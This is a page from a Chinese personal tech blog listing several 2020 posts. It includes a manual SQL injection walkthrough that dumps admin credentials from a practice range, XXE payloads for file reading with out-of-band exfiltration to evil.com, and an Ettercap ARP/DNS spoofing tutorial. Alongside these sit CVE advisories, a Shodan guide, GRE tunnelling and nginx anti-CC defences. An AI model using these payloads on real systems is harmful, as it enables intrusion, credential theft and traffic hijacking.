首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
6,157 阅读
2
Cloudflare SAAS 接入自选教程
3,071 阅读
3
CloudFront CDN配置教程
2,685 阅读
4
Frpc使用XTCP不通过服务器传输
2,382 阅读
5
兽装曲腿制作文档
2,295 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
450
篇文章
累计收到
135
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
祈杰のblog
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
148
篇与
的结果
2020-03-29
手注:猫舍靶场
页面地址:http://117.167.136.245:10180/?id=1第一步,判断是否存在sql注入漏洞?id=1 and 1=1(and 1=1 可以去掉)?id=1 and 1=2第二步:判断字段数?id=1 and 1=1 order by 1?id=1 and 1=1 order by 2?id=1 and 1=1 order by 3第三步:判断回显点?id=1 and 1=2 union select 1,2第四步:查询相关内容查询当前数据库名?id=1 and 1=2 union select 1,database()查询当前数据库版本?id=1 and 1=2 union select 1,version()查询当前数据库 表名?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1查询字段名?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1查询字段内容?id=1 and 1=2 union select 1,username from admin limit 0,1?id=1 and 1=2 union select 1,password from admin limit 1,1?id=1 and 1=2 union select 1,password from admin limit 0,1不过.....SQLmap一把嗦不香吗?视频
2020年03月29日
102 阅读
0 评论
0 点赞
2020-03-28
Linux swap分区及作用详解
Linux divides its physical RAM (random access memory) into chucks of memory called pages. Swapping is the process whereby a page of memory is copied to the preconfigured space on the hard disk, called swap space, to free up that page of memory. The combined sizes of the physical memory and the swap space is the amount of virtual memory available.Linux 把物理内存划分作称为分页(Page)的内存区块。内存交换是一个内存分页被复制到一个预配置的称为 swap 空间的硬盘空间里的过程,以此来释放内存分页。物理内存与这个 swap 空间的共同大小称为可用的虚拟内存量。在这里,保留 swap 分区有两个重要的原因。其一,当物理内存不足以支撑系统和应用程序(进程)的运作时,这个 swap 空间可以用作临时存放使用率不高的内存分页,把腾出的内存交给急需的应用程序(进程)使用。再有,即使你的机器拥有足够多的物理内存,也有一些程序会在它们初始化时残留的极少再用到的内存分页内容转移到 swap 空间,以此让出物理内存空间。对于有发生内存泄漏几率的应用程序(进程),swap 空间更是重要,因为谁也不想看到由于物理内存不足导致系统崩溃。
2020年03月28日
59 阅读
0 评论
0 点赞
2020-03-26
简单的XXE漏洞挖掘方法与防护
1.简单挖掘方法提交POST请求XML文件提交一个POST请求,请求头加上Content-type:application/xml同时添加测试代码<?xml version="1.0"encoding="utf-8"?> <test>cat</test>通过OOB(Out-of-band)方法远程访问文件测试1. 自建一个网站开启80端口2. 在测试网站提交payload,如下<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>3.查看网站返回内容4.查看自建服务器访问日志,是否有DTD文件等请求2.确认XXE漏洞出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:请求:响应:观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求修改后的请求和响应:如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>3.寻找XXE1.检测xml是否被解析 <?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod>2.检测是否支持外部实体解析<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod>4.xxe 注入利用步骤在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。(1)测试是否允许外部实体引用<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root>(2)任意文件读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root>(3)通过PHP://过滤器读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root>(4)xxe注入测试代码xxe.php是一个存在XXE注入漏洞的简单页面<html> <body> <h1>XXE Example</h1> <form method="post" enctype="multipart/form-data"> <label for="file">XML File:</label> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="Upload"> </form> <h1>Result</h1> <?php if( isset($_FILES["file"])){ $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "<h3>No file was selected for upload.</h3>"; } ?> </body> </html>xxe自动化注入检查工具https://github.com/enjoiz/XXEinjectorXXE防御1.使用开发语言提供的禁用外部实体的方法PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))2.过滤用户提交的XML数据 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.例如,让我们来试着定义一个新的自定义实体“harmless”。<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:This result is completely harmless下面的这个就肯定不是无害的输入:<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>3.检查所使用的底层xml解析库,默认禁止外部实体的解析4.使用第三方应用代码及时升级补丁5.同时增强对系统的监控,防止此问题被人利用对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数<?php libxml_disable_entity_loader(true); ?>以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>>
2020年03月26日
223 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞(CVE-2019-11043)
漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空,进而导致特定的攻击请求会修改php-fpm进程中的相关配置,在特殊配置情况下可导致远程代码执行漏洞,相关漏洞配置类似如下:``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置,防止.php之后可传入任意字符(可能会影响正常业务):``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
2020年03月25日
100 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Harbor 多个高危漏洞(CVE-2019-19029、CVE-2019-19026等)
漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求,可利用SQL注入获取大量敏感数据,或者将低权限账户提升为管理员权限账户,从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023(高危)普通用户可以通过进行API调用来修改特定用户的电子邮件地址,从而获得管理员帐户特权。CVE-2019-19029(高危)Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026(中危)经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载,从而允许从数据库中提取敏感信息。CVE-2019-3990(中危)/api/users/search 接口用户枚举漏洞。CVE-2019-19025(低危)Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接:https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories
2020年03月25日
227 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840)
漏洞描述jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases
2020年03月25日
362 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
334 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
133 阅读
0 评论
0 点赞
2020-03-24
Shodan使用指南
前言Shodan是一个搜素互联网链接设备的搜索引擎,不同于Google、Baidu这些搜素引擎。用户可以在Shodan上使用Shodan搜索语法查找链接到互联网的摄像头、路由器、服务器等设备信息。在渗透测试中是个非常非常不错的神器。Shodan的工作原理Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。注:banner信息:用于描述设备所运行服务的标志性文本信息。Shodan的使用在使用Shodan之前我们需要注册一个Shodan账户,之后才可以使用:Shodan的使用方法较为简单,你可以将其当成一个“网络区域的”浏览器,之所以这样说是因为它具备搜索引擎的功能,而且是主要面对于网络设备的。Shodan初试条目介绍:左侧部分:Top Countries 使用最多的国家 Top services 使用最多的服务 Top organizations 使用最多的组织 Top operating systems 使用最多的操作系统 Top products (Software name) 使用最多的产品中间部分:涉及与搜素关键词有关的Target,主要包含的信息有:IP地址 主机名 该主机所处国家、区域 该条目的收录收录时间 Banner信息如果想要获得更加详细的信息可以点击“Details”之后获取与此目标相关的信息内容:Shodan的使用语法面对大量的信息量,如果要获取我们想要的目标信息,那么就必须附加限制条件缩小范围是最后的结果更加精确,与Google一样Shodan也有相应的语言可以使用:hostname——————————搜索指定的主机或域名,例如 hostname:baidu port——————————————搜索指定的端口或服务,例如 port:80 country———————————搜索指定的国家,例如 country:US city——————————————搜索指定的城市,例如 city:Chengdu org———————————————搜索指定的组织或公司,例如 org:"Google" isp———————————————搜索指定的ISP供应商,例如 isp:"China Telecom" product———————————搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version———————————搜索指定的软件版本,例如 version:"1.6.2" geo———————————————搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after——————搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15" net———————————————搜索指定的IP地址或子网,例如 net:"210.45.240.0/24" 查找位于国内的Nginx服务器nginx country:"CN"查找 GWS(Google Web Server) 服务器:"Server: gws" hostname:"google"查找指定网段的华为设备:huawei net:"61.191.146.0/24"如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法命令行下使用 ShodanShodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python安装pip install shodan或者git clone https://github.com/achillean/shodan-python.git && cd shodan-python python setup.py install安装完后我们先看下帮助信息:➜ ~ shodan -h Usage: shodan [OPTIONS] COMMAND [ARGS]... Options: -h, --help Show this message and exit. Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息,即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据常用示例init初始化命令行工具。➜ ~ shodan init [API_Key] Successfully initializedcount返回查询的结果数量。➜ ~ shodan count microsoft iis 6.0 575862download将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加--limit 参数。
2020年03月24日
989 阅读
0 评论
0 点赞
2020-03-23
使用VPS的GRE隧道过滤DDoS
什么是GRE隧道?类似于代理,GRE隧道使您可以将来自VPS的流量(包括DDoS过滤)传递到另一个远程目标。GRE隧道允许所有流量通过,而不仅仅是HTTP。借助GRE隧道,您可以提供服务,并从任何类型的服务器(音频,FTP,SSH,SCP,视频等)传递任何类型的内容。可以使用GRE隧道做什么?当您想使用我们的DDoS过滤服务来保护太大的服务(例如游戏服务器,Java应用程序,大型数据库驱动的应用程序等)时,GRE隧道非常方便。没有对目标服务器的root访问权,或者正在运行大型Windows部署?查看我们将流量重定向牵引到您的远程服务器的替代方法。注意:如果您正在隧道连接到OVH服务器,则您的内核很可能没有GRE支持。您将需要使用IPIP隧道。支持的操作系统可以使用Windows创建和转发GRE隧道在本文档中,我们仅介绍Linux的GRE隧道配置。本指南在KVM或者OpenVZ的服务器上都可以起作用前提BuyVM VPS上安装的iptables(大多数情况下已包括在内)iproute2(几乎所有最新的Linux发行版中都包含)具有GRE支持的内核(Linux默认包含该组件-ip_gre内核模块)您需要转发到目的地的端口列表隧道设置首先,我们需要建立隧道。在BuyVM VPS上,请执行以下命令: echo 'net.ipv4.ip_forward=1' >> /etc/sysctl.conf sysctl -p iptunnel add gre1 mode gre local YOUR_UNFILTERED_IP remote DESTINATION_SERVER_IP ttl 255 ip addr add 192.168.168.1/30 dev gre1 ip link set gre1 up 在要保护的远程服务器上,运行以下命令: iptunnel add gre1 mode gre local DESTINATION_SERVER_IP remote YOUR_UNFILTERED_IP ttl 255 ip addr add 192.168.168.2/30 dev gre1 ip link set gre1 up 您将始终希望使用所有GRE隧道的未过滤 IP地址来形成GRE,以确保您不会遇到任何类型的MTU问题或触发DDOS保护。请注意每个更改的第一行,以标记要在本地和远程使用的IP。第二行记录每个端点。在/ 30中,可以使用2个IP:.1和.2。使用Ping测试您的新GRE隧道在VPS上,您现在应该可以ping了192.168.168.2。为了完整起见,请192.168.168.1从目标服务器测试ping 。设置源路由表需要源路由条目,以确保通过GRE隧道传入的数据被发回GRE隧道。请在目标服务器上执行以下命令。echo '100 BUYVM' >> /etc/iproute2/rt_tables ip rule add from 192.168.168.0/30 table BUYVM ip route add default via 192.168.168.1 table BUYVM 请注意,echo命令只需要运行一次。该条目将保存到/ etc / iproute2 / rt_tables中,直到您手动将其删除。初始NAT条目以通过GRE隧道移动数据NAT用于通过GRE将数据传递到另一端。虽然可以使用已购买的/ 29分配的基于KVM的VPS,但本指南不涵盖此内容。在VPS上,运行以下命令: iptables -t nat -A POSTROUTING -s 192.168.168.0/30 ! -o gre+ -j SNAT --to-source 源ip测试出站连接在目标服务器上,您可以运行以下命令之一,以查看隧道是否正确传递了流量: curl http://www.cpanel.net/showip.cgi --interface 192.168.168.2 wget http://www.cpanel.net/showip.cgi --bind-address = 192.168.168.2 -q -O-IP应该是您的防御节点的IP。通过GRE隧道转发端口为了使事情变得容易,我们将所有端口转发到后端服务器。在VPS上运行以下命令:iptables -t nat -A PREROUTING -d YOUR_FILTERED_IP -j DNAT --to-destination 192.168.168.2 iptables -A FORWARD -d 192.168.168.2 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT 如果您想更具体一点,可以添加:-p tcp --dport 25565例如,如果您只是想保护Minecraft服务器。第一条规则设置实际的端口转发,第二条规则确保连接获得NAT,并正确匹配。在这一点上,您应该能够YOUR_FILTERED_IP使用您的应用程序连接到目标端口,并通过GRE隧道传递而不会出现问题。重新启动后重新启动GRE隧道可以/etc/rc.local使用自己喜欢的编辑器进行编辑(甚至使用WINSCP),并将刚运行的所有命令exit 0放在底部。选择发行版(如Debian)可能/etc/network/interfaces在启动时加入了GRE隧道,但这超出了本指南的范围。
2020年03月23日
138 阅读
0 评论
0 点赞
2020-03-23
Ettercap实现局域网DNS劫持
环境准备:1.kali系统;2.用到的软件:kali中的Ettercap,一个集成工具,里面包括了局域网主机扫描,arp欺骗,DNS劫持等功能;3.受害PC:自己的虚拟机中的系统centos。原理DNS,全称为域名解析协议,是一种将域名解析为ip地址的协议,基于UDP的53端口。比如我们在浏览器访问百度域名,会先向dns服务器发送一次dns请求报文,询问百度的ip地址,dns服务器经过查询(或递归查询)会将百度的域名以及对应的ip地址以dns响应报文的形式发回给我们,然后我们才可以与所对应的ip建立TCP连接进行网络通信。dns劫持建立在arp欺骗的基础上,关于arp的文章之前有写过,链接:arp协议分析&python编程实现arp欺骗抓图片,通过arp欺骗可以监听受害者机器到网关之间的流量,如果可以过滤协议为UDP,端口为53端口的数据报文,也就是DNS报文,并且将dns响应中的域名所对应的ip地址改写成我们服务器的ip,受害者机器就会与我们的机器进行连接通信,这就是dns投毒的基本原理,kali的Ettercap就可以做到这一点。1.打开ettercap的DNS文件进行编辑,文件路径为/etc/ettercap/etter.dns2.编辑/var/www/html/index.html文件 改成你定义页面 当然,如果你劫持到公网的某个地址,你可以跳过这步的3.输入命令ettercap -G来进入ettercap的图形界面4.选择网卡点击Sniff–>Unfied sniffing—配置,网卡选择eth05.接下来点击Hosts–>Scan for hosts,扫描局域网中存活的ip,寻找攻击目标6.显示扫到四个主机,点击Hosts list查看7.将网关192.168.75.1 Add to Target1,将受害PC192.168.75.131 Add to Target28.然后点击Mitm–>ARP poisoning9.勾选Sniff remote connections10.ARP欺骗便开始了11.下面开始dns劫持,点击Plugins–>Manage the plugins12.选择dns_spood插件,便开始dns欺骗了13.最后点击strat>start sniffing
2020年03月23日
266 阅读
0 评论
0 点赞
2020-03-22
NGINX防御CC攻击
在讲之前呢,先给大家讲解一下什么是cc攻击:攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。为了防止软件对网站压力测试或者恶意攻击,当服务器遭遇CC攻击时,我们可以快速查看日志,分析其请求的特征,比如User-agent。下面的是某一次CC攻击时的User-agent Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)Cache-Control: no-store, must-revalidate几乎没有正常的浏览器会在User-agent中带上“must-revalidate”这样的关键字。所以我们可以以这个为特征进行过滤,将User-agent中带有“must-revalidate”的请求全部拒绝访问:if ($http_user_agent ~ must-revalidate) { return 403; }再用cc攻击软件,全部返回403,用360奇云测访问正常也可以通过以下办法,被动防御Discuz!是使用比较多的一个php论坛程序。以Discuz!7.0为例,程序目录下有比较多的可以直接访问的php文件,但其中最容易受到攻击的一般有index.php(首页)、forumdisplay.php(板块显示)、viewthread.php(帖子显示)。攻击者一般会对这些页面发起大量的请求,导致HTTP服务器连接数耗尽、mysql数据库停止响应,最终导致服务器崩溃。为了防止上述页面被攻击,我们可以设定以下的规则进行防御: http { limit_zone myzone_bbs $binary_remote_addr 10m; limit_req_zone $binary_remote_addr zone=bbs:10m rate=1r/s; … server { … location ~ ^/bbs/(index|forumdisplay|viewthread).php$ { limit_conn myzone_bbs 3; limit_req zone=bbs burst=2 nodelay; root html; fastcgi_pass unix:/dev/shm/php-cgi.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; include fastcgi_params; } } }应用这条规则后,bbs目录下的index.php、forumdisplay.php和viewthread.php这些页面同一个IP只许建立3个连接,并且每秒只能有1个请求(突发请求可以达到2个)。虽然这样的规则一般来说对正常的用户不会产生影响(极少有人在1秒内打开3个页面),但是为了防止影响那些手快的用户访问,可以在nginx中自定义503页面,503页面对用户进行提示,然后自动刷新。在Nginx中自定义503页面:error_page 503 /errpage/503.html;503页面的源代码:<html> < head> < title>页面即将载入....</title> < meta http-equiv=content-type c> < META NAME="ROBOTS" C> < /head> < body bgcolor="#FFFFFF"> < table cellpadding="0" cellspacing="0" border="0" width="700" align="center" height="85%"> < tr align="center" valign="middle"> < td> < table cellpadding="10" cellspacing="0" border="0" width="80%" align="center" style="font-family: Verdana, Tahoma; color: #666666; font-size: 11px"> < tr> < td valign="middle" align="center" bgcolor="#EBEBEB"> < br /><b style="font-size: 16px">页面即将载入</b> < br /><br />你刷新页面的速度过快。请少安毋躁,页面即将载入... < br /><br />[<a href="javascript:window.location.reload();"><font color=#666666>立即重新载入</font></a>] < br /><br /> < /td> < /tr> < /table> < /td> < /tr> < /table> < /body> < /html> < SCRIPT language=javascript> function update() { window.location.reload(); } setTimeout("update()",2000); < /script>2.被动防御虽然主动防御已经抵挡了大多数HTTP GET FLOOD攻击,但是道高一尺魔高一丈,攻击者会总会找到你薄弱的环节进行攻击。所以我们在这里也要介绍一下被动防御的一些方法。1)封IP地址访问者通过浏览器正常访问网站,与服务器建立的连接一般不会超过20个,我们可以通过脚本禁止连接数过大的IP访问。以下脚本通过netstat命令列举所有连接,将连接数最高的一个IP如果连接数超过150,则通过 iptables阻止访问:#!/bin/sh status=`netstat -na|awk '$5 ~ /[0-9]+:[0-9]+/ {print $5}' |awk -F ":" -- '{print $1}' |sort -n|uniq -c |sort -n|tail -n 1` NUM=`echo $status|awk '{print $1}'` IP=`echo $status|awk '{print $2}'` result=`echo "$NUM > 150" | bc` if [ $result = 1 ] then echo IP:$IP is over $NUM, BAN IT! /sbin/iptables -I INPUT -s $IP -j DROP fi 运行crontab -e,将上述脚本添加到crontab每分钟自动运行: 通过apache自带的ab工具进行服务器压力测试: ab -n 1000 -c 100 http://www.nf139.com 测试完成后,我们就可以看到系统中有IP被封的提示: [root@xxxxxx ~]#tail /var/spool/mail/root Content-Type: text/plain; charset=ANSI_X3.4-1968 Auto-Submitted: auto-generated X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <;PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> IP:58.246.xx.xx is over 1047, BAN IT!另外还有一种下下策使用Cloudflare的CDN和云锁抗CC模块双管齐下配置危险ip验证码访问和自动验证,如果遭受的攻击太大,可以考虑临时开启5秒盾和云锁的验证码盾
2020年03月22日
219 阅读
0 评论
0 点赞
1
...
10
11
12
13